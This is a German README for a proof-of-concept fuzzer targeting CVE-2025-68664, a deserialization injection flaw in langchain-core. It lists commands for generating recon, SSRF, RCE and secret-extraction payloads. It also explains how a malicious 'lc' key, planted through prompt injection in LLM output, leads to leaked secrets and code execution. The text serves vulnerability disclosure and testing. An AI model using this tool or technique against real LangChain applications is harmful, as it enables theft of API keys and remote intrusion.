Ein Test-Framework zur Identifizierung und Demonstration von Deserialisierungs-Schwachstellen in LangChain Core (<0.3.81). Nur für Bildungszwecke.
LangGrinch-PoC/ │ ├── README.md # Main documentation & writeup ├── PAYLOADS.md # Complete payload arsenal (55+) ├── langgrinch_fuzzer.py # Python payload generator & tester ├── requirements.txt # Python dependencies └── LICENSE # MIT License
---
## 🚀 Schnellstart
### Installation```bash
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
python langgrinch_fuzzer.py --list
python langgrinch_fuzzer.py --category recon python langgrinch_fuzzer.py --category ssrf python langgrinch_fuzzer.py --category rce
python langgrinch_fuzzer.py --secret MY_API_KEY
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
python langgrinch_fuzzer.py --export payloads.json
---
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/a59cc259070b0a6930250b423ecf6befeab7fd75694091738ff5f8d2899b56ad.gif" width="200" alt="Hacker-GIF"/>
<img src="https://assets.kitploit.com/production/public/readmes/15055/0751965da24039c9facbe6006461ec38a66ff560b42dc590d1964f43f7f9853d.gif" width="200" alt="Sicherheits-GIF"/>
Matrix-GIF
</p>
---
## 🎯 Kurzzusammenfassung
**CVE-2025-68664 (Codename: LangGrinch)** ist eine kritische **Serialisierungs-Injection-Schwachstelle**, die im **LangChain Core Python-Paket** entdeckt wurde. Diese Schwachstelle erlaubt es Angreifern, bösartige `lc`-Marker über LLM-Ausgaben oder benutzergesteuerte Wörterbücher einzuschleusen, was Folgendes ermöglicht:
1. 🔑 **Extrahieren von Umgebungsgeheimnissen** (API-Schlüssel, DB-Passwörter)
2. 🌐 **SSRF-Angriffe** (Ansteuern interner Dienste)
3. 💀 **Remote Code Execution** (über Jinja2-SSTI-Kette)
4. 📂 **Dateisystemzugriff** (Lesen sensibler Dateien)
<table align="center">
<tr>
<td>
### ⚡ Kurzstatistiken
| 🔥 Metrik | 📊 Wert |
|-----------|----------|
| **CVE ID** | CVE-2025-68664 |
| **Codename** | LangGrinch |
| **Angriffstyp** | Deserialisierungs-Injection |
| **Authentifizierung erforderlich** | Nein (Prompt-Injection) |
| **Komplexität** | NIEDRIG |
</td>
<td>
### 🎯 Betroffene Versionen
| 📌 Eigenschaft | 📝 Wert |
|-------------|----------|
| **Paket** | langchain-core |
| **Verwundbar** | < 0.3.81, >= 1.0.0 < 1.2.5 |
| **Gepatched** | 0.3.81+, 1.2.5+ |
| **Auswirkung** | Geheimnisse + RCE |
| **CWE** | CWE-502 |
</td>
</tr>
</table>
---
## 🐛 Detaillierte Analyse der Schwachstelle
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/15055/fb07ef9946fd69ee29be7a85737fa8b18fa02c8ec40293de8a4994d5e8419a6a.gif" width="300" alt="Fehler-GIF"/>
</p>
### 📋 Technischer Überblick
| Eigenschaft | Wert |
|----------|-------|
| 🆔 **CVE ID** | CVE-2025-68664 |
| 🏷️ **Codename** | LangGrinch |
| 📊 **Schweregrad** | KRITISCH 🔴 |
| 🔗 **CWE** | CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten) |
| 📦 **Betroffenes Paket** | `langchain-core` |
| ⚠️ **Verwundbare Versionen** | `< 0.3.81` UND `>= 1.0.0, < 1.2.5` |
| ✅ **Gepatchete Versionen** | `0.3.81+`, `1.2.5+` |
### 🤖 Was ist LangChain?
LangChain ist ein beliebtes Python-Framework zur Entwicklung von Anwendungen mit **Large Language Models (LLMs)**. Es wird branchenübergreifend in verschiedenen Bereichen eingesetzt:
| 🏢 Anwendungsfall | 📝 Beschreibung |
|-------------|----------------|
| 🤖 **KI-Chatbots** | Kundenservice, Support-Agenten |
| 🔍 **RAG-Systeme** | Retrieval-Augmented Generation |
| 🔧 **KI-Agenten** | Autonome Aufgabenausführung |
| 📊 **Datenverarbeitung** | Dokumentenanalyse, Zusammenfassung |
| 🔄 **Workflow-Automatisierung** | KI-gestützte Pipelines |
### 🔧 Technische Ursache
Das interne Serialisierungsformat von LangChain verwendet einen speziellen Marker – den **`lc`-Schlüssel**. Wenn ein Wörterbuch den `lc`-Schlüssel enthält, behandelt der LangChain-Deserialisierer es als "vertrauenswürdiges LangChain-serialisiertes Objekt".
**Der Fehler ist:**
- Die Funktionen `dumps()` / `dumpd()` maskieren/neutralisieren den `lc`-Schlüssel in benutzer-/LLM-gesteuerten Wörterbüchern NICHT
- Bei der Rehydrierung über `load()` / `loads()` wird die injizierte Struktur als **internes Objekt** verarbeitet```
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 User/LLM Input → Dictionary with malicious "lc" marker │
│ ↓ │
│ 💾 Application serializes data (dumps/dumpd) │
│ ↓ │
│ ⚠️ "lc" key NOT escaped - remains in serialized form │
│ ↓ │
│ 🔄 Later: Data deserialized (load/loads) │
│ ↓ │
│ 🎯 Deserializer sees "lc" → Treats as LangChain object! │
│ ↓ │
│ 💀 Secret resolution / Object instantiation triggered │
│ ↓ │
│ 💥 SECRETS LEAKED / SSRF / RCE │
└─────────────────────────────────────────────────────────────────┘